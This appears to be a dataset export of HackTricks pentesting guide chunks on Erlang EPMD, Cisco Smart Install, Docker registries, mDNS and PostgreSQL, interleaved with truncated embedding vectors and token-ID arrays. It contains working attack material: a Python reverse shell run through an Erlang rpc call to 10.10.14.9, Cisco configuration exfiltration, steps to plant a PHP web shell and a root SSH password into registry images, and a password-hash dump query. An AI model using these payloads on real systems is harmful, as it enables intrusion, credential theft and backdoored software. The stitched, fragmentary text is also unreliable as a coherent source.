erlang at the first start. if not modified or set manually it is a random string [ a : z ] with a length of 20 characters. greif @ baldr ~ $ erl - cookie yourleakedcookie - name test2 - remsh [ email protected ] erlang / otp 19 [ erts - 8. 1 ] [ source ] [ 64 - bit ] [ async - threads : 10 ] eshell v8. 1 ( abort with ^ g ) at last, we can start an erlang shell on the remote system. ( [ email protected ] ) 1 > os : cmd ( " id | [
0.17527875304222107,
-0.9011744260787964,
-0.6890633702278137,
0.60446697473526,
-0.8160905241966248,
-0.439776211977005,
-0.11640068143606186,
0.49438339471817017,
0.3612431585788727,
0.3971782326698303,
0.19796890020370483,
-0.3641396164894104,
0.6535879969596863,
0.028286708518862724,
... | [
101,
4724,
2575,
2683,
1011,
7279,
22199,
2075,
9413,
25023,
3417,
4949,
4842,
12828,
1006,
4958,
26876,
1007,
3937,
18558,
10760,
9413,
25023,
3417,
4949,
4842,
12828,
2003,
2109,
2000,
13530,
5500,
9413,
25023,
12107,
1012,
2010,
3105,
20... | hack_tricks | 104.txt | 0 |
" ). " uid = 0 ( root ) gid = 0 ( root ) groups = 0 ( root ) \ n " more information in url the author also share a program to brutforce the cookie : epmd _ bf - 0. 1. tar. bz27kbbinarylocal connectionin this case we are going to abuse couchdb to escalate privileges locally : home = / erl - sname anonymous - setcookie yourleakedcookie ( anonymous @ canape ) 1 > rpc : call ('couchdb @ localhost ', os, cmd, [ whoami ] ). " homer \ n " ( anonymous @ canape ) 4 > rpc : call ('couchdb @ localhost ', os, cmd, [ " python - c'import socket, subprocess, os ; s = socket. socket ( socket. af _ inet, socket. sock _ stream ) ; s. connect ( ( \ " 10. 10. 14. 9 \ ", 9005 ) ) ; os. dup2 ( s. fileno ( ), 0 ) ; os. dup2 ( s. fileno ( ), 1 ) ; os. dup2 ( s. fileno ( ), 2 ) ; p = subprocess. call ( [ \ " / bin / sh \ ", \ " - i \ " ] ) ;'" ] ). example taken from url you can use canape htb machine to practice how to exploit this vuln. metasploit # metasploit can also exploit this if you know the cookiemsf5 > use exploit / multi / misc / erlang _ cookie _ rceshodanport : 4369 " at port " network services pentesting - [SEP] | [
0.33161690831184387,
-0.16652214527130127,
-0.450392484664917,
0.057974670082330704,
-0.3951215147972107,
-0.605908215045929,
-0.03700004145503044,
0.1645587831735611,
-0.02470148168504238,
1.0825953483581543,
0.5125965476036072,
0.010146241635084152,
1.2955266237258911,
0.0046926666982471... | [
1000,
1007,
1012,
1000,
21318,
2094,
1027,
1014,
1006,
7117,
1007,
21025,
2094,
1027,
1014,
1006,
7117,
1007,
2967,
1027,
1014,
1006,
7117,
1007,
1032,
1050,
1000,
2062,
2592,
1999,
24471,
2140,
1996,
3166,
2036,
3745,
1037,
2565,
2000,
7... | hack_tricks | 104.txt | 1 |
[CLS] 4786 - cisco smart installbasic informationcisco smart install is a cisco designed to automate the initial configuration and loading of an operating system image for new cisco hardware. by default, cisco smart install is active on cisco hardware and uses the transport layer protocol, tcp, with port number 4786. default port : 4786port state service4786 / tcp open smart - installsmart install exploitation toolin 2018, a critical vulnerability, cve - 2018 – 0171, was found in this protocol. the threat level is 9. 8 on the cvss scale. a specially crafted packet sent to the tcp / 4786 port, where cisco smart install is active, triggers a buffer overflow, allowing an attacker to : forcibly reboot the devicecall rcesteal configurations of network equipment. the siet ( smart install exploitation tool ) was developed to exploit this vulnerability, it allows you to abuse cisco smart install. in this article i will show you how you can read a legitimate network hardware configuration file. configure exfiltration can be valuable for a pentester because it will learn about the unique features of the network. and this will make life easier and allow finding new vectors for an attack. the target device will be a “ live ” cisco catalyst 2960 switch. virtual images don't have cisco smart install, so you can only practice on the real hardware. the address of the target switch is 10. 10. 100. 10 and csi is active. load siet and start the attack. the - g argument means exfiltration of the configuration from the device, the - i argument allows you to set the ip address of the vulnerable target. ~ / opt / tools / siet $ sudo python2 siet. py - g - i 10. 10. 100. 10the switch configuration 10. 10. 100. 10 will be in the tftp / folder \ network services pentesting - [SEP] | [
-0.19131149351596832,
0.16331462562084198,
0.32949212193489075,
0.608815610408783,
-0.43793296813964844,
-0.45342984795570374,
-0.4979112148284912,
-0.11193040758371353,
-0.17145976424217224,
1.010201096534729,
0.3518640398979187,
-0.04793322831392288,
0.24456384778022766,
-0.5246416330337... | [
101,
4700,
20842,
1011,
26408,
6047,
16500,
22083,
2594,
2592,
22987,
3597,
6047,
16500,
2003,
1037,
26408,
2881,
2000,
8285,
8585,
1996,
3988,
9563,
1998,
10578,
1997,
2019,
4082,
2291,
3746,
2005,
2047,
26408,
8051,
1012,
2011,
12398,
101... | hack_tricks | 105.txt | 0 |
[CLS] 5000 - pentesting docker registrybasic informationinfo from here. a docker registry is a storage and distribution system for named docker images. the same image might have multiple different versions, identified by their tags. a docker registry is organized into docker repositories, where a repository holds all the versions of a specific image. the registry allows docker users to pull images locally, as well as push new images to the registry ( given adequate access permissions when applicable ). by default, the docker engine interacts with dockerhub, docker ’ s public registry instance. however, it is possible to run on - premise the open - source docker registry / distribution, as well as a commercially supported version called docker trusted registry. there are other public registries available online. to pull an image from an on - premises registry, you could run a command similar to : docker pull my - registry : 9000 / foo / bar : 2. 1where you pull the version of foo / bar image with tag 2. 1 from our on - premise registry located at my - registry domain, port 9000. if you used dockerhub instead, and 2. 1 was also the latest version, you could run this command to pull the same image locally : docker pull foo / bardefault port : 5000port state service version5000 / tcp open url docker registry ( api : 2. 0 ) discoveringthe easiest way to discover this service running is get it on the output of nmap. anyway, note that as it's a http based service it can be behind http proxies and nmap won't detect it. some fingerprints : if you access / nothing is returned in the responseif you access / v2 / then { } is returnedif you access / v2 / _ catalog you may obtain : { " repositories " : [ " alpine ", " ubuntu " ] } { " errors " : [ { " code " : " unauthorized ", " message " : " authentication required ", " detail " : [ { " type " : " registry ", " class " : " ", " name " : " catalog ", " action " : " * " } ] } ] } enumerationhttp / httpsdocker registry may be configured to use http or https. so the first thing you may need to do is find which one is being configured : curl - | [
0.0766599252820015,
0.14922066032886505,
-0.07956202328205109,
0.13136301934719086,
-0.5535597801208496,
-0.24718274176120758,
-0.2714448571205139,
0.19734373688697815,
-0.12131170928478241,
0.8932813405990601,
0.36939629912376404,
-0.31641432642936707,
0.20898067951202393,
-0.446192771196... | [
101,
13509,
1011,
7279,
22199,
2075,
8946,
2121,
15584,
22083,
2594,
2592,
2378,
14876,
2013,
2182,
1012,
1037,
8946,
2121,
15584,
2003,
1037,
5527,
1998,
4353,
2291,
2005,
2315,
8946,
2121,
4871,
1012,
1996,
2168,
3746,
2453,
2031,
3674,
... | hack_tricks | 106.txt | 0 |
s url : / / 10. 10. 10. 10 : 5000 / v2 / _ catalog # if httpswarning : binary output can mess up your terminal. use " - - output - " to tell warning : curl to output it to your terminal anyway, or consider " - - output warning : < file > " to save to a file. # if http { " repositories " : [ " alpine ", " ubuntu " ] } authenticationdocker registry may also be configured to require authentication : curl - k urls : / / 192. 25. 197. 3 : 5000 / v2 / _ catalog # if authentication required { " errors " : [ { " code " : " unauthorized ", " message " : " authentication required ", " detail " : [ { " type " : " registry ", " class " : " ", " name " : " catalog ", " action " : " * " } ] } ] } # if no authentication required { " repositories " : [ " alpine ", " ubuntu " ] } if the docker registry is requiring authentication you can try to brute force it using this. if you find valid credentials you will need to use them to enumerate the registry, in curl you can use them like this : curl - k - u username : password urls : / / 10. 10. 10. 10 : 5000 / v2 / _ catalogenumeration using dockerregistrygrabberdockerregistrygrabber is a python tool to enumerate / dump docker degistry ( without or with basic authentication ) python3 dockergraber. py url : / / 127. 0. 0. 1 - - list [ + ] my - ubuntu [ + ] my - ubuntu2python3 dockergraber. py url : / / 127. 0. 0. 1 - - dump _ all [ + ] my - ubuntu [ + ] my - ubuntu2 [ + ] blobsum found 5 [ + ] dumping my - ubuntu [ + ] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [ + ] downloading : b39e2761d | [
0.5815188884735107,
-0.31928586959838867,
-0.08879023790359497,
-0.18543179333209991,
-0.13577130436897278,
-0.7855929732322693,
0.09806793183088303,
0.18101954460144043,
0.3239935636520386,
0.8797529935836792,
0.4611477255821228,
-0.3132260739803314,
0.6824934482574463,
-0.626319348812103... | [
1055,
24471,
2140,
1024,
1013,
1013,
2184,
1012,
2184,
1012,
2184,
1012,
2184,
1024,
13509,
1013,
1058,
2475,
1013,
1035,
12105,
1001,
2065,
16770,
9028,
5582,
1024,
12441,
6434,
2064,
6752,
2039,
2115,
5536,
1012,
2224,
1000,
1011,
1011,
... | hack_tricks | 106.txt | 1 |
##3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [ + ] downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [ + ] downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [ + ] downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 [ + ] blobsum found 5 [ + ] dumping my - ubuntu2 [ + ] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [ + ] downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [ + ] downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [ + ] downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [ + ] downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888python3 dockergraber. py url : | [
0.13918304443359375,
-0.27514639496803284,
0.13288737833499908,
0.2733185589313507,
-0.5745142698287964,
-0.14056292176246643,
0.004106598906219006,
0.4484788179397583,
0.7170120477676392,
0.6437252163887024,
0.2930217981338501,
-0.3186269700527191,
0.7858911156654358,
-0.33755916357040405... | [
29097,
26224,
2581,
2487,
2063,
2581,
2620,
2683,
16932,
27531,
2581,
10354,
2549,
2278,
2575,
2497,
2094,
2683,
2683,
2620,
2683,
2620,
2581,
2509,
2497,
22275,
20958,
2575,
2278,
2546,
2475,
7959,
2546,
2509,
2063,
2581,
2575,
2683,
2620,... | hack_tricks | 106.txt | 2 |
/ / 127. 0. 0. 1 - - dump my - ubuntu [ + ] blobsum found 5 [ + ] dumping my - ubuntu [ + ] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [ + ] downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [ + ] downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [ + ] downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [ + ] downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888enumeration using curlonce you obtained access to the docker registry here are some commands you can use to enumerate it : # list repositoriescurl - s url : / / 10. 10. 10. 10 : 5000 / v2 / _ catalog { " repositories " : [ " alpine ", " ubuntu " ] } # get tags of a repositorycurl - s url : / / 192. 251. 36. 3 : 5000 / v2 / ubuntu / tags / list { " name " : " ubuntu ", " tags " : [ " 14. 04 ", " 12. 04 ", " 18. 04 ", " 16. 04 " ] } # get manifestscurl - s url : / / 192. 251. 36. 3 : 5000 / v2 / ubuntu / manifests / latest { " schemaversion " : 1, " name " : " | [
0.8845171928405762,
-0.3824867010116577,
0.5798283815383911,
-0.08174145221710205,
-0.55095374584198,
-0.3434152603149414,
-0.6356447339057922,
0.42874833941459656,
0.19843921065330505,
0.5770525336265564,
0.13069966435432434,
0.005573876667767763,
0.7945367097854614,
-0.8788991570472717,
... | [
1013,
1013,
13029,
1012,
1014,
1012,
1014,
1012,
1015,
1011,
1011,
15653,
2026,
1011,
1057,
8569,
3372,
2226,
1031,
1009,
1033,
1038,
4135,
5910,
2819,
2179,
1019,
1031,
1009,
1033,
23642,
2026,
1011,
1057,
8569,
3372,
2226,
1031,
1009,
1... | hack_tricks | 106.txt | 3 |
ubuntu ", " tag " : " latest ", " architecture " : " amd64 ", " fslayers " : [ { " blobsum " : " sha256 : 2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 " }, { " blobsum " : " sha256 : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 " }, { " blobsum " : " sha256 : e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10 " } ], " history " : [ { " v1compatibility " : " { \ " architecture \ " : \ " amd64 \ ", \ " config \ " : { \ " hostname \ " : \ " \ ", \ " domainname \ " : \ " \ ", \ " user \ " : \ " \ ", \ " attachstdin \ " : false, \ " attachstdout \ " : false, \ " attachstderr \ " : false, \ " tty \ " : false, \ " openstdin \ " : false, \ " stdinonce \ " : false, \ " env \ " : [ \ " path = / usr / local / sbin : / usr / local / bin : / usr / sbin : / usr / bin : / sbin : / bin \ " ], \ " cmd \ " : [ \ " / bin / sh \ " ], \ " argsescaped \ " : true, \ " image \ " : \ " sha256 : 055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1 \ ", \ " volumes \ " : null, \ " workingdir \ " : | [
0.403292179107666,
-0.044240549206733704,
-0.1602591723203659,
0.4900762438774109,
-0.40191465616226196,
-0.4187622666358948,
-0.4709595739841461,
0.25390100479125977,
0.69539874792099,
0.7343934774398804,
0.12861555814743042,
-0.2931802272796631,
0.4350176155567169,
0.0923871397972107,
... | [
1057,
8569,
3372,
2226,
1000,
1010,
1000,
6415,
1000,
1024,
1000,
6745,
1000,
1010,
1000,
4294,
1000,
1024,
1000,
2572,
2094,
21084,
1000,
1010,
1000,
1042,
14540,
4710,
2545,
1000,
1024,
1031,
1063,
1000,
1038,
4135,
5910,
2819,
1000,
10... | hack_tricks | 106.txt | 4 |
\ " \ ", \ " entrypoint \ " : null, \ " onbuild \ " : null, \ " labels \ " : null }, \ " container _ config \ " : { \ " hostname \ " : \ " \ ", \ " domainname \ " : \ " \ ", \ " user \ " : \ " \ ", \ " attachstdin \ " : false, \ " attachstdout \ " : false, \ " attachstderr \ " : false, \ " tty \ " : false, \ " openstdin \ " : false, \ " stdinonce \ " : false, \ " env \ " : [ \ " path = / usr / local / sbin : / usr / local / bin : / usr / sbin : / usr / bin : / sbin : / bin \ " ], \ " cmd \ " : [ \ " / bin / sh \ ", \ " - c \ ", \ " # ( nop ) copy file : 96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in / etc / network / if - post - up. d \ " ], \ " argsescaped \ " : true, \ " image \ " : \ " sha256 : 055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1 \ ", \ " volumes \ " : null, \ " workingdir \ " : \ " \ ", \ " entrypoint \ " : null, \ " onbuild \ " : null, \ " labels \ " : null }, \ " created \ " : \ " 2019 - 05 - 13t14 : 06 : 51. 794876531z \ ", \ " docker _ version \ " : \ " 18. 09. 4 \ ", \ " id \ " : \ " 911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2 | [
0.02810412272810936,
0.012157410383224487,
-0.09801512211561203,
0.3495355248451233,
-0.5557283163070679,
-0.4550735354423523,
-0.41106563806533813,
0.16448453068733215,
0.733709990978241,
0.47506552934646606,
0.1492345631122589,
-0.34801897406578064,
0.4438013434410095,
-0.444172322750091... | [
1032,
1000,
1032,
1000,
1010,
1032,
1000,
4443,
8400,
1032,
1000,
1024,
19701,
1010,
1032,
1000,
2006,
8569,
4014,
2094,
1032,
1000,
1024,
19701,
1010,
1032,
1000,
10873,
1032,
1000,
1024,
19701,
1065,
1010,
1032,
1000,
11661,
1035,
9530,
... | hack_tricks | 106.txt | 5 |
##dfb64d0 \ ", \ " os \ " : \ " linux \ ", \ " parent \ " : \ " ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a \ " } " }, { " v1compatibility " : " { \ " id \ " : \ " ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a \ ", \ " parent \ " : \ " 7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87 \ ", \ " created \ " : \ " 2019 - 05 - 11t00 : 07 : 03. 510395965z \ ", \ " container _ config \ " : { \ " cmd \ " : [ \ " / bin / sh - c # ( nop ) cmd [ \ \ \ " / bin / sh \ \ \ " ] \ " ] }, \ " throwaway \ " : true } " }, { " v1compatibility " : " { \ " id \ " : \ " 7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87 \ ", \ " created \ " : \ " 2019 - 05 - 11t00 : 07 : 03. 358250803z \ ", \ " container _ config \ " : { \ " cmd \ " : [ \ " / bin / sh - c # ( nop ) add file : a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \ " ] } } " } ], " signatures " : [ { " header " : { " jwk " : { | [
-0.11405789107084274,
-0.3494090139865875,
0.002922896295785904,
0.23526038229465485,
-0.763374924659729,
-0.20975562930107117,
-0.1965029537677765,
0.14391517639160156,
1.02690589427948,
0.45026353001594543,
0.33628273010253906,
0.09710825979709625,
0.6171315312385559,
-0.1270024180412292... | [
20952,
2497,
21084,
2094,
2692,
1032,
1000,
1010,
1032,
1000,
9808,
1032,
1000,
1024,
1032,
1000,
11603,
1032,
1000,
1010,
1032,
1000,
6687,
1032,
1000,
1024,
1032,
1000,
1041,
9818,
17465,
2063,
16576,
11387,
28154,
25746,
28154,
2278,
262... | hack_tricks | 106.txt | 6 |
" crv " : " p - 256 ", " kid " : " djnh : n6jl : 4vow : othi : bsxu : tzg5 : 6vpc : d6bp : 6bpr : ulo5 : z4n4 : 7wbx ", " kty " : " ec ", " x " : " leyzoyk4ebewdy0zvdou8 _ iqvdcv4hrca0kxlvspcmg ", " y " : " aq5qcnrd - 6ro7vhus2kppftoyjjbwvovuiapluxq4fg " }, " alg " : " es256 " }, " signature " : " giuf4lxgzdfk3af6f7ivpf551uuqgassvyldqdeklkupw _ wfhb _ - fvfshoddzwlem8ki - 00akky _ fjez9iwl0q ", " protected " : " eyjmb3jtyxrmzw5ndggioji1njqsimzvcm1hdfrhawwioijdbjailcj0aw1lijoimjayms0wms0wmvqymdoxmtownfoifq " } ] } # download one of the previously listed blobscurl url : / / 10. 10. 10. 10 : 5000 / v2 / ubuntu / blobs / sha256 : 2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 - - output blob1. tar # inspect the insides of each blobtar - xf blob1. tar # after this, inspect the new folders and files created in the current directorynote that when you download and decompress the blobs files and folders will appear in the current directory. if you download all the blobs and decompress them in the same folder they will overwrite values from the previously decompressed blobs, so be careful. it may be interesting to decompress each blob inside a different folder to inspect the exact content | [
0.16833090782165527,
-0.3762595057487488,
0.14719095826148987,
0.6266093254089355,
-0.1365853101015091,
-0.3635718524456024,
-0.32184720039367676,
0.3550376296043396,
0.9266555905342102,
0.5662264823913574,
0.2733575105667114,
-0.2501453459262848,
0.7854794263839722,
-0.5312718152999878,
... | [
1000,
13675,
2615,
1000,
1024,
1000,
1052,
1011,
17273,
1000,
1010,
1000,
4845,
1000,
1024,
1000,
6520,
25311,
1024,
1050,
2575,
3501,
2140,
1024,
1018,
6767,
2860,
1024,
27178,
4048,
1024,
18667,
2595,
2226,
1024,
1056,
2480,
2290,
2629,
... | hack_tricks | 106.txt | 7 |
of each blob. enumeration using docker # once you know which images the server is saving ( / v2 / _ catalog ) you can pull themdocker pull 10. 10. 10. 10 : 5000 / ubuntu # check the commands used to create the layers of the imagedocker history 10. 10. 10. 10 : 5000 / ubuntu # image created created by size comment # ed05bef01522 2 years ago. / run. sh 46. 8mb # < missing > 2 years ago / bin / sh - c # ( nop ) cmd [ ". / run. sh " ] 0b # < missing > 2 years ago / bin / sh - c # ( nop ) expose 80 0b # < missing > 2 years ago / bin / sh - c cp $ base / mysql - setup. sh / 499b # < missing > 2 years ago / bin / sh - c # ( nop ) copy dir : 0b657699b1833fd59 … 16. 2mb # run and get a shelldocker run - it 10. 10. 10. 10 : 5000 / ubuntu bash # leave this shell runningdocker ps # using a different shelldocker exec - it 7d3a81fe42d7 bash # get ash shell inside docker containerbackdooring wordpress imagein the scenario where you have found a docker registry saving a wordpress image you can backdoor it. create the backdoor : shell. php <? php echo shell _ exec ( $ _ get [ " cmd " ] ) ;? > create a dockerfile : dockerfilefrom 10. 10. 10. 10 : 5000 / wordpresscopy shell. php / app / run chmod 777 / app / shell. phpcreate the new image, check it's created, and push it : docker build - t 10. 10. 10. 10 : 5000 / wordpress. # createdocker imagesdocker push registry : 5000 / wordpress # push itbackdooring ssh server imagesuppose that you found a docker registry with a ssh image and you want to backdoor it. download the image and run it : docker pull 10. 10. 10. 10 : 5000 / sshd - docker - clidocker run - d 10. 10. | [
0.9460028409957886,
0.022830460220575333,
0.25941985845565796,
-0.1329014003276825,
0.037740424275398254,
-0.18081122636795044,
-0.38336607813835144,
-0.13917195796966553,
0.7564249634742737,
0.557679295539856,
-0.15297755599021912,
-0.3710143268108368,
0.4124097228050232,
-0.1191547140479... | [
1997,
2169,
1038,
4135,
2497,
1012,
4372,
17897,
8156,
2478,
8946,
2121,
1001,
2320,
2017,
2113,
2029,
4871,
1996,
8241,
2003,
7494,
1006,
1013,
1058,
2475,
1013,
1035,
12105,
1007,
2017,
2064,
4139,
2068,
14647,
2121,
4139,
2184,
1012,
2... | hack_tricks | 106.txt | 8 |
10. 10 : 5000 / sshd - docker - cliextract the sshd _ config file from the ssh image : docker cp 4c989242c714 : / etc / ssh / sshd _ config. and modify it to set : permitrootlogin yescreate a dockerfile like the following one : dockerfilefrom 10. 10. 10. 10 : 5000 / sshd - docker - clicopy sshd _ config / etc / ssh / run echo root : password | chpasswdcreate the new image, check it's created, and push it : docker build - t 10. 10. 10. 10 : 5000 / sshd - docker - cli. # createdocker imagesdocker push registry : 5000 / sshd - docker - cli # push itnetwork services pentesting - [SEP] | [
0.6347740292549133,
0.477874219417572,
-0.06655408442020416,
-0.2294788807630539,
0.12225408107042313,
-0.3486385643482208,
-0.2204291969537735,
0.42071592807769775,
0.4826197028160095,
0.756517767906189,
-0.022548776119947433,
0.0679527074098587,
0.2904500365257263,
-0.5104736089706421,
... | [
2184,
1012,
2184,
1024,
13509,
1013,
7020,
14945,
1011,
8946,
2121,
1011,
18856,
2666,
18413,
22648,
2102,
1996,
7020,
14945,
1035,
9530,
8873,
2290,
5371,
2013,
1996,
7020,
2232,
3746,
1024,
8946,
2121,
18133,
1018,
2278,
2683,
2620,
2683,... | hack_tricks | 106.txt | 9 |
[CLS] 5353 / udp multicast dns ( mdns ) and dns - sdbasic informationmulticast dns ( mdns ) is a zero - configuration protocol that lets you perform dns - like operations on the local network in the absence of a conventional, unicast dns server. the protocol uses the same api, packet formats, and operating semantics as dns, allowing you to resolve domain names on the local network. dns service discovery ( dns - sd ) is a protocol that allows clients to discover a list of named instances of services ( such as test. _ ipps. _ tcp. local, or linux. _ ssh. _ tcp. local ) in a domain using standard dns queries. dns - sd is most often used in conjunction with mdns but isn ’ t dependent on it. they ’ re both used by many iot devices, such as network printers, apple tvs, google chromecast, network - attached storage ( nas ) devices, and cameras. default port : 5353 / udpport state service5353 / udp open zeroconfhow mdns worksdevices use mdns when the local network lacks a conventional unicast dns server. to resolve a domain name for a local address using mdns, the device sends a dns query for a domain name ending with. local to the multicast address 224. 0. 0. 251 ( for ipv4 ) or ff02 : : fb ( for ipv6 ). you can also use mdns to resolve global domain names ( non. local ones ), but mdns implementations are supposed to disable this behavior by default. mdns requests and responses use udp and port 5353 as both the source and destination port. the mdns replies contain several important flags, including a time - to - live ( ttl ) value that signifies how many seconds the record is valid. sending a reply with ttl = 0 means that the corresponding record should be cleared. another important flag is the qu bit, which denotes whether or not the query is a unicast query. if the qu bit isn ’ t set, the packet is a multicast query ( qm ). because it ’ s possible to receive unicast queries outside of the local link, secure mdns implementations should always check that the source address in the packet matches the local subnet address range. how dns - sd worksdns - sd allows clients | [
-0.1259157955646515,
-0.7860740423202515,
0.07786736637353897,
0.3786434829235077,
-0.3827725052833557,
-0.3454650640487671,
-0.4672679007053375,
-0.07721761614084244,
0.257434219121933,
1.1027510166168213,
0.4503588378429413,
-0.17923550307750702,
0.6092934012413025,
0.4417811334133148,
... | [
101,
5187,
22275,
1013,
20904,
2361,
4800,
10526,
1040,
3619,
1006,
9108,
3619,
1007,
1998,
1040,
3619,
1011,
17371,
22083,
2594,
2592,
12274,
7096,
5555,
3367,
1040,
3619,
1006,
9108,
3619,
1007,
2003,
1037,
5717,
1011,
9563,
8778,
2008,
... | hack_tricks | 107.txt | 0 |
to discover available services on the network. to use it, clients send standard dns queries for pointer records ( ptr ), which map the type of service to a list of names of specific instances of that type of service. to request a ptr record, clients use the name form " < service >. < domain > ". the < service > part the service name preceded by " _ " ( for example, _ ipps, _ printer, or _ ipp ) and either _ tcp or _ udp. the < domain > portion is ". local ". responders then return the ptr records that point to the accompanying service ( srv ) and text ( txt ) records. here is an example of a ptr record : _ ipps. _ tcp. local : type ptr, class in, test. _ ipps. _ tcp. localthe part of the ptr record to the left of the colon is its name, and the part on the right is the srv record to which the ptr record points. the srv record lists the target host and port where the service instance can be reached. for example, the next image shows a " test. _ ipps. _ tcp. local " srv record in wireshark in host ubuntu. local and port 8000 : therefore, the name of the srv record is like the ptr record preceded by the < instance > name ( test in this case ). the txt has the same name as the srv record and contains the information needed when the ip address and port number ( contained in the srv record ) for a service aren ’ t sufficient to identify it. enumerationnmapnmap - pn - suc - p5353 192. 168. 1. 2starting nmap 6. 46 ( http : / / nmap. org ) at 2015 - 01 - 01 10 : 30 gmtnmap scan report for 192. 168. 1. 2port state service5353 / udp open zeroconf | dns - service - discovery : | 9 / tcp workstation | address = 192. 168. 1. 2 | 22 / tcp ssh | address = 192. 168. 1. 2 | 22 / tcp sftp - ssh | address = 192. 168. 1. 2 | 445 / tcp smb | address = 192. 168. 1. 2network en | [
-0.13343410193920135,
-0.4905738830566406,
-0.3725441098213196,
0.6826522350311279,
0.5361679196357727,
0.19617272913455963,
-0.5012028813362122,
-0.5858750343322754,
0.44330862164497375,
0.650226891040802,
0.25419819355010986,
-0.27529364824295044,
0.4071265459060669,
0.021878723055124283... | [
2000,
7523,
2800,
2578,
2006,
1996,
2897,
1012,
2000,
2224,
2009,
1010,
7846,
4604,
3115,
1040,
3619,
10861,
5134,
2005,
20884,
2636,
1006,
13866,
2099,
1007,
1010,
2029,
4949,
1996,
2828,
1997,
2326,
2000,
1037,
2862,
1997,
3415,
1997,
3... | hack_tricks | 107.txt | 1 |
##umerationyou can learn a lot about the local network by simply sending mdns requests and capturing multicast mdns traffic. you can use the tool pholus to send a mdns requests ( - rq ) on the local network and capture multicast mdns traffic ( for - stimeout 10 seconds ) : sudo python3 pholus3. py eth0 - rq - stimeout 10attacksabusing the mdns probing phasewhen a mdns responder starts or changes its connectivity, it asks the local network if there is any resource with the name he plans to use. if the answer contains the record in question, the probing host should choose a new name. if 15 conflicts take place within 10 seconds, the host must then wait at least five seconds before any additional attempt. additionally, if one minute passes during which the host can ’ t find an unused name, it reports an error to the user. the following command line will prevent any new device to get any new name as it will indicate that any name is already taken : sudo python pholus. py eth0 - afre - stimeout 1000spoofing / mitmthe most interesting attack you can perform over this service is to perform a mitm in the communication between the client and the real server. you might be able to obtain sensitive files ( mitm the communication with the printer ) of even credentials ( windows authentication ). for more information check : spoofing llmnr, nbt - ns, mdns / dns and wpad and relay attacks [SEP] | [
0.3821718692779541,
0.1854923516511917,
-0.18698693811893463,
0.5095486640930176,
-0.21005262434482574,
-0.39709240198135376,
-0.8097758293151855,
-0.03836860880255699,
0.4927227199077606,
1.295060157775879,
0.8152087330818176,
-0.09727758169174194,
0.8340789675712585,
0.03993915766477585,... | [
17897,
8156,
29337,
2064,
4553,
1037,
2843,
2055,
1996,
2334,
2897,
2011,
3432,
6016,
9108,
3619,
11186,
1998,
11847,
4800,
10526,
9108,
3619,
4026,
1012,
2017,
2064,
2224,
1996,
6994,
6887,
4747,
2271,
2000,
4604,
1037,
9108,
3619,
11186,
... | hack_tricks | 107.txt | 2 |
[CLS] 5432, 5433 - pentesting postgresql use trickest to easily build and automate workflows powered by the world's most advanced community tools. basic informationpostgresql is an open source object - relational database system that uses and extends the sql language. default port : 5432, and if this port is already in use it seems that postgresql will use the next port ( 5433 probably ) which is not in use. port state service5432 / tcp open pgsqlconnect & basic enumpsql - u < myuser > # open psql console with userpsql - h < host > - u < username > - d < database > # remote connectionpsql - h < host > - p < port > - u < username > - w < password > < database > # remote connectionpsql - h localhost - d < database _ name > - u < user > # password will be prompted \ list # list databases \ c < database > # use the database \ d # list tables \ du + # get users roles # get current userselect user ; # get current databaseselect current _ catalog ; # list schemasselect schema _ name, schema _ owner from information _ schema. schemata ; \ dn + # list databasesselect datname from pg _ database ; # read credentials ( usernames + pwd hash ) select usename, passwd from pg _ shadow ; # get languagesselect lanname, lanacl from pg _ language ; # show installed extensionsshow rds. extensions ; select * from pg _ extension ; # get history of commands executed \ sif running \ list you find a database called rdsadmin you know you are inside an aws postgresql database. for more information about how to abuse a postgresql database check : postgresql injectionautomatic enumerationmsf > use auxiliary / scanner / postgres / postgres _ versionmsf > use auxiliary / scanner / postgres / postgres _ dbname _ flag _ injectionbrute forceport scanningaccording to this research, when a connection attempt fails, dblink throws an sqlclient _ unable _ to _ establish _ sqlconnection exception including an explanation of the error. examples of these details are listed below. select * from | [
-0.22549208998680115,
-0.5009004473686218,
-0.18527540564537048,
0.49977487325668335,
-0.7868567109107971,
-0.3844154477119446,
0.375776469707489,
0.1799195110797882,
0.2757005989551544,
0.5631209015846252,
0.3698291480541229,
-0.41968876123428345,
0.13817954063415527,
-0.2067110687494278,... | [
101,
5139,
16703,
1010,
5139,
22394,
1011,
